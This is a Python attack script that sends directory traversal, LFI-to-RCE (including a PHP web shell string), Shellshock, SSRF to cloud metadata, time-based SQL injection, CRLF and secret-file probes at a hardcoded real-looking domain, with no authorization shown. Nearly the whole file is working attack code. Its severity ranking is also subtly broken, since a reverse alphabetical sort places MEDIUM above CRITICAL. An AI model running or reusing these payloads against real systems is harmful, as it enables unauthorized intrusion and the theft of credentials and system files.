#!/usr/bin/env python3
import requests
import subprocess
import sys
import os
import time
from urllib.parse import urljoin, quote

class AdvancedVulnerabilityScanner:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.vulnerabilities = []
        
    def log_vulnerability(self, vuln_type, description, severity, evidence, exploit_url=None):
        vuln = {
            'type': vuln_type,
            'description': description,
            'severity': severity,
            'evidence': evidence,
            'exploit_url': exploit_url,
            'timestamp': time.strftime('%Y-%m-%d %H:%M:%S')
        }
        self.vulnerabilities.append(vuln)
        print(f"\n🚨 {severity.upper()} VULNERABILITY FOUND!")
        print(f"Type: {vuln_type}")
        print(f"Description: {description}")
        print(f"Evidence: {evidence}")
        if exploit_url:
            print(f"Exploit URL: {exploit_url}")
        print("-" * 60)
        
    def test_directory_traversal_advanced(self):
        print("🔍 ADVANCED DIRECTORY TRAVERSAL TESTING")
        print("=" * 60)
        
        # Advanced payloads
        payloads = [
            '../../../etc/passwd',
            '../../../etc/shadow',
            '../../../proc/version',
            '../../../proc/self/environ',
            '../../../var/log/auth.log',
            '../../../home/*/.*',
            '../../../root/.bash_history',
            '../../../sys/class/net/eth0/address',
            '../../../etc/hosts',
            '../../../etc/group',
            '../../../etc/fstab',
            '../../../boot/grub/grub.cfg',
            '../../../var/log/syslog',
            '../../../var/log/messages',
            '../../../usr/share/wordlists/',
            '../../../opt/',
            '../../../var/www/',
            '../../../var/log/apache2/',
            '../../../var/log/nginx/',
            '../../../etc/nginx/',
            '../../../etc/apache2/',
            '../../../etc/mysql/',
            '../../../etc/postgresql/',
            '../../../etc/ssh/',
            '../../../etc/sudoers',
            '../../../etc/crontab',
            '../../../etc/inittab',
            '../../../etc/modules',
            '../../../etc/motd',
            '../../../etc/issue',
            '../../../etc/environment',
            '../../../etc/profile',
            '../../../etc/bash.bashrc',
            '../../../etc/skel/',
            '../../../tmp/',
            '../../../var/tmp/',
            '../../../dev/null',
            '../../../dev/random',
            '../../../dev/urandom',
            '../../../proc/cpuinfo',
            '../../../proc/meminfo',
            '../../../proc/mounts',
            '../../../proc/net/route',
            '../../../proc/net/arp',
            '../../../proc/net/tcp',
            '../../../proc/net/udp',
            '../../../proc/self/cmdline',
            '../../../proc/self/fd/0',
            '../../../proc/self/fd/1',
            '../../../proc/self/fd/2'
        ]
        
        for payload in payloads:
            try:
                url = f"{self.target_url}?file={quote(payload)}"
                response = self.session.get(url, timeout=10)
                
                if response.status_code == 200:
                    # Check for actual file content
                    content = response.text
                    indicators = {
                        'passwd': ['root:', 'daemon:', 'bin:', 'sys:'],
                        'shadow': ['root:', 'daemon:', 'bin:', 'sys:'],
                        'version': ['Linux', 'version', 'Ubuntu', 'Debian'],
                        'hosts': ['localhost', '127.0.0.1', '::1'],
                        'environ': ['PATH=', 'USER=', 'HOME='],
                        'auth_log': ['sudo:', 'sshd:', 'login:'],
                        'config': ['[', '=', '#'],
                        'log': ['ERROR', 'WARN', 'INFO', 'DEBUG']
                    }
                    
                    found_indicators = []
                    for file_type, keywords in indicators.items():
                        for keyword in keywords:
                            if keyword.lower() in content.lower():
                                found_indicators.append(f"{file_type}:{keyword}")
                                break
                    
                    if found_indicators:
                        self.log_vulnerability(
                            "Directory Traversal",
                            f"Successfully accessed {payload}",
                            "CRITICAL",
                            f"Found indicators: {found_indicators[:3]}",
                            url
                        )
                        
            except Exception as e:
                print(f"Error testing {payload}: {e}")
    
    def test_lfi_rce_exploitation(self):
        print("\n🎯 LFI TO RCE EXPLOITATION TESTING")
        print("=" * 60)
        
        # Test for PHP include vulnerabilities
        rce_payloads = [
            '?file=php://filter/convert.base64-encode/resource=index.php',
            '?file=php://input',
            '?file=data://text/plain,<?php system($_GET["cmd"]); ?>',
            '?file=expect://id',
            '?file=zip://./shell.zip%23shell.php',
            '?file=phar://./shell.phar/shell.php',
            '?file=compress.zlib://./shell.txt',
            '?file=../../../../../var/log/apache2/access.log',
            '?file=../../../../../var/log/apache2/error.log',
            '?file=../../../../../var/log/nginx/access.log',
            '?file=../../../../../var/log/nginx/error.log',
            '?file=../../../../../proc/self/fd/0',
            '?file=../../../../../proc/self/fd/1',
            '?file=../../../../../proc/self/fd/2'
        ]
        
        for payload in rce_payloads:
            try:
                url = f"{self.target_url}{payload}"
                response = self.session.get(url, timeout=10)
                
                if response.status_code == 200:
                    content = response.text
                    
                    # Check for RCE indicators
                    rce_indicators = [
                        'base64', 'php', 'system', 'exec', 'shell_exec',
                        'passthru', 'proc_open', 'file_get_contents',
                        'fopen', 'readfile', 'include', 'require'
                    ]
                    
                    found_rce = []
                    for indicator in rce_indicators:
                        if indicator in content.lower():
                            found_rce.append(indicator)
                    
                    if found_rce:
                        self.log_vulnerability(
                            "LFI to RCE",
                            f"Potential RCE via {payload}",
                            "CRITICAL",
                            f"RCE indicators found: {found_rce}",
                            url
                        )
                        
            except Exception as e:
                print(f"Error testing RCE payload: {e}")
    
    def test_shellshock_exploitation(self):
        print("\n💥 SHELLSHOCK EXPLOITATION TESTING")
        print("=" * 60)
        
        # Test for Shellshock vulnerability
        shellshock_headers = [
            {'User-Agent': '() { :; }; /bin/bash -c "echo VULNERABLE"'},
            {'Cookie': '() { :; }; /bin/bash -c "echo VULNERABLE"'},
            {'Referer': '() { :; }; /bin/bash -c "echo VULNERABLE"'},
            {'Host': '() { :; }; /bin/bash -c "echo VULNERABLE"'}
        ]
        
        for headers in shellshock_headers:
            try:
                response = self.session.get(self.target_url, headers=headers, timeout=10)
                
                if 'VULNERABLE' in response.text or response.status_code == 500:
                    self.log_vulnerability(
                        "Shellshock",
                        f"Potential Shellshock in {list(headers.keys())[0]} header",
                        "CRITICAL",
                        f"Response status: {response.status_code}",
                        self.target_url
                    )
                    
            except Exception as e:
                print(f"Error testing Shellshock: {e}")
    
    def test_ssrf_exploitation(self):
        print("\n🌐 SSRF EXPLOITATION TESTING")
        print("=" * 60)
        
        # Test for SSRF vulnerabilities
        ssrf_payloads = [
            '?url=http://127.0.0.1',
            '?url=http://localhost',
            '?url=http://169.254.169.254/latest/meta-data/',
            '?url=http://0.0.0.0',
            '?url=http://[::1]',
            '?url=file:///etc/passwd',
            '?url=file:///etc/shadow',
            '?url=file:///proc/version',
            '?url=ftp://127.0.0.1',
            '?url=gopher://127.0.0.1:25',
            '?url=dict://127.0.0.1:111',
            '?url=sftp://127.0.0.1',
            '?url=ldap://127.0.0.1:389',
            '?url=smtp://127.0.0.1:25',
            '?url=http://2130706433',  # 127.0.0.1 in decimal
            '?url=http://017700000001',  # 127.0.0.1 in octal
            '?url=http://0x7f000001',  # 127.0.0.1 in hex
            '?url=http://127.1',
            '?url=http://0x7f.0x1.0x1.0x1'
        ]
        
        for payload in ssrf_payloads:
            try:
                url = f"{self.target_url}{payload}"
                response = self.session.get(url, timeout=10)
                
                if response.status_code == 200:
                    content = response.text
                    
                    # Check for SSRF indicators
                    ssrf_indicators = [
                        'internal', 'localhost', '127.0.0.1', 'metadata',
                        'ec2', 'aws', 'docker', 'kubernetes', 'swarm'
                    ]
                    
                    found_ssrf = []
                    for indicator in ssrf_indicators:
                        if indicator in content.lower():
                            found_ssrf.append(indicator)
                    
                    if found_ssrf:
                        self.log_vulnerability(
                            "SSRF",
                            f"Potential SSRF via {payload}",
                            "HIGH",
                            f"SSRF indicators: {found_ssrf}",
                            url
                        )
                        
            except Exception as e:
                print(f"Error testing SSRF payload: {e}")
    
    def test_deserialization_exploits(self):
        print("\n📦 DESERIALIZATION EXPLOITATION TESTING")
        print("=" * 60)
        
        # Test for PHP deserialization
        php_serialized = 'O:8:"stdClass":1:{s:4:"test";s:6:"hacked";}'
        java_serialized = 'rO0ABXNyABJqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFMAARtYXB0ABVMamF2YS91dGlsL01hcDt4cHB3DAAAAAI/QAAAAA=='
        
        deserialization_payloads = [
            {'data': php_serialized},
            {'payload': php_serialized},
            {'object': php_serialized},
            {'serialized': php_serialized},
            {'data': java_serialized},
            {'payload': java_serialized}
        ]
        
        endpoints = ['/api', '/admin', '/login', '/auth', '/upload']
        
        for endpoint in endpoints:
            for payload in deserialization_payloads:
                try:
                    url = f"{self.target_url}{endpoint.lstrip('/')}"
                    response = self.session.post(url, data=payload, timeout=10)
                    
                    if response.status_code in [500, 400]:
                        self.log_vulnerability(
                            "Deserialization",
                            f"Potential deserialization issue in {endpoint}",
                            "HIGH",
                            f"Status code: {response.status_code}",
                            url
                        )
                        
                except Exception as e:
                    print(f"Error testing deserialization: {e}")
    
    def test_crlf_injection(self):
        print("\n🔄 CRLF INJECTION TESTING")
        print("=" * 60)
        
        crlf_payloads = [
            '%0D%0ASet-Cookie:test=hacked',
            '%0D%0AX-Injected-Header:injected',
            '%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%0D%0A200%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<h1>Hacked</h1>',
            '%23%0D%0ASet-Cookie:test=hacked',
            '..%252F%252F..%252F%252F..%252F%252Fetc%252Fpasswd'
        ]
        
        for payload in crlf_payloads:
            try:
                url = f"{self.target_url}?param={payload}"
                response = self.session.get(url, timeout=10)
                
                # Check if our header was injected
                if 'test=hacked' in response.headers.get('Set-Cookie', ''):
                    self.log_vulnerability(
                        "CRLF Injection",
                        "CRLF injection successful",
                        "HIGH",
                        "Custom header injected",
                        url
                    )
                    
            except Exception as e:
                print(f"Error testing CRLF: {e}")
    
    def test_timing_attacks(self):
        print("\n⏱️ TIMING ATTACK TESTING")
        print("=" * 60)
        
        # Test for timing-based vulnerabilities
        timing_payloads = [
            "admin' AND (SELECT SLEEP(5))--",
            "' AND (SELECT SLEEP(5))--",
            "1; WAITFOR DELAY '00:00:05'--",
            "admin'; SELECT pg_sleep(5);--",
            "admin' AND sleep(5)#",
            "admin' AND benchmark(1000000,md5('test'))--"
        ]
        
        for payload in timing_payloads:
            try:
                url = f"{self.target_url}?search={quote(payload)}"
                
                start_time = time.time()
                response = self.session.get(url, timeout=15)
                end_time = time.time()
                
                response_time = end_time - start_time
                
                if response_time > 4:
                    self.log_vulnerability(
                        "Timing Attack",
                        f"Potential timing vulnerability with: {payload}",
                        "MEDIUM",
                        f"Response time: {response_time:.2f} seconds",
                        url
                    )
                    
            except Exception as e:
                print(f"Error testing timing attack: {e}")
    
    def test_information_disclosure_advanced(self):
        print("\n📋 ADVANCED INFORMATION DISCLOSURE TESTING")
        print("=" * 60)
        
        # Test for information disclosure
        info_files = [
            '/.git/',
            '/.svn/',
            '/.hg/',
            '/.DS_Store',
            '/Thumbs.db',
            '/composer.json',
            '/package.json',
            '/requirements.txt',
            '/Gemfile',
            '/Pipfile',
            '/yarn.lock',
            '/package-lock.json',
            '/bower.json',
            '/config.xml',
            '/web.config',
            '/.env.example',
            '/.env.production',
            '/.env.staging',
            '/.env.local',
            '/debug.log',
            '/error.log',
            '/access.log',
            '/install.log',
            '/setup.log',
            '/readme.md',
            '/README',
            '/CHANGELOG.md',
            '/LICENSE',
            '/robots.txt',
            '/sitemap.xml',
            '/security.txt',
            '/.well-known/security.txt',
            '/.well-known/robots.txt',
            '/admin/',
            '/administrator/',
            '/wp-admin/',
            '/phpmyadmin/',
            '/pma/',
            '/adminer/',
            '/.ftpconfig',
            '/.netrc',
            '/id_rsa',
            '/id_dsa',
            '/id_ecdsa',
            '/id_ed25519'
        ]
        
        for file_path in info_files:
            try:
                url = f"{self.target_url}{file_path}"
                response = self.session.get(url, timeout=10)
                
                if response.status_code == 200:
                    self.log_vulnerability(
                        "Information Disclosure",
                        f"Sensitive file accessible: {file_path}",
                        "MEDIUM",
                        f"Status: {response.status_code}, Size: {len(response.text)} bytes",
                        url
                    )
                    
            except Exception as e:
                print(f"Error testing {file_path}: {e}")
    
    def run_comprehensive_scan(self):
        print("🚀 COMPREHENSIVE VULNERABILITY SCANNING STARTED")
        print("=" * 80)
        print(f"Target: {self.target_url}")
        print("=" * 80)
        
        self.test_directory_traversal_advanced()
        self.test_lfi_rce_exploitation()
        self.test_shellshock_exploitation()
        self.test_ssrf_exploitation()
        self.test_deserialization_exploits()
        self.test_crlf_injection()
        self.test_timing_attacks()
        self.test_information_disclosure_advanced()
        
        print("\n" + "=" * 80)
        print("🎯 COMPREHENSIVE SCANNING COMPLETE")
        print("=" * 80)
        
        if self.vulnerabilities:
            print(f"\n🚨 FOUND {len(self.vulnerabilities)} VULNERABILITIES!")
            
            # Group by severity
            critical_vulns = [v for v in self.vulnerabilities if v['severity'] == 'CRITICAL']
            high_vulns = [v for v in self.vulnerabilities if v['severity'] == 'HIGH']
            medium_vulns = [v for v in self.vulnerabilities if v['severity'] == 'MEDIUM']
            
            print(f"\n📊 SUMMARY:")
            print(f"🔴 Critical: {len(critical_vulns)}")
            print(f"🟠 High: {len(high_vulns)}")
            print(f"🟡 Medium: {len(medium_vulns)}")
            
            print(f"\n🏆 TOP 5 MOST CRITICAL VULNERABILITIES:")
            for i, vuln in enumerate(sorted(self.vulnerabilities, key=lambda x: x['severity'], reverse=True)[:5], 1):
                print(f"\n{i}. {vuln['type']} ({vuln['severity']})")
                print(f"   Description: {vuln['description']}")
                print(f"   Evidence: {vuln['evidence']}")
                if vuln['exploit_url']:
                    print(f"   Exploit URL: {vuln['exploit_url']}")
        else:
            print("\n✅ No critical vulnerabilities found.")
        
        return self.vulnerabilities

if __name__ == "__main__":
    target = "https://uplinkai.in/"
    scanner = AdvancedVulnerabilityScanner(target)
    vulnerabilities = scanner.run_comprehensive_scan()
